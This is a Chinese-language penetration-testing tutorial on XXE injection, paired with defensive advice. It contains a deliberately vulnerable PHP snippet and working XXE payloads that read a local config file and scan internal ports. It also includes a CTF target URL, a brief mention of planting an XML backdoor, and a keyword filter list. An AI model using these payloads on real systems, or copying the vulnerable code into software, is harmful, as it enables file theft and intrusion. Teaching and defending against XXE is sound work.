渗透之路基础 -- XXE注入漏洞
XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入
造成漏洞的代码:
<?php
$xml=$_GET['x'];
$data=simplexml_load_file($xml);
var_dump($data);
?>
simplexml_load_file
php解析外部实体须在 php << 5.5.38
文件任意读取
读取 file.xml
代码如下:
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///c:/config.ini">
]>
<x>&file;</x>
<!-- 引用外部实体 -->
访问 http://192.168.80.128/test/xml/test.php?x=file.xml
端口扫描
读取 port.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>
<name>&xxe;</name>
</root>
访问 http://192.168.80.128/test/xml/test.php?x=port.xml
没有报错,说明端口存在并且开放
如果将端口改为不存在的端口 180
访问 http://192.168.80.128/test/xml/test.php?x=port.xml
某CTF题
http://web.jarvisoj.com:9882/
- 返回信息为 json 格式
- 然后 burp抓包分析
- 尝试xml注入,抓包重发
XML后门的利用
php动态创建xml,植入后门
防御XXE攻击
使用开发语言提供禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。
不允许XML中包含有自己定义的DTD
https://www.cnblogs.com/miyeah/p/4526088.html
外部引入DTD文件
编写XML注入代码
访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml
可以读取出文件信息达到文件读取利用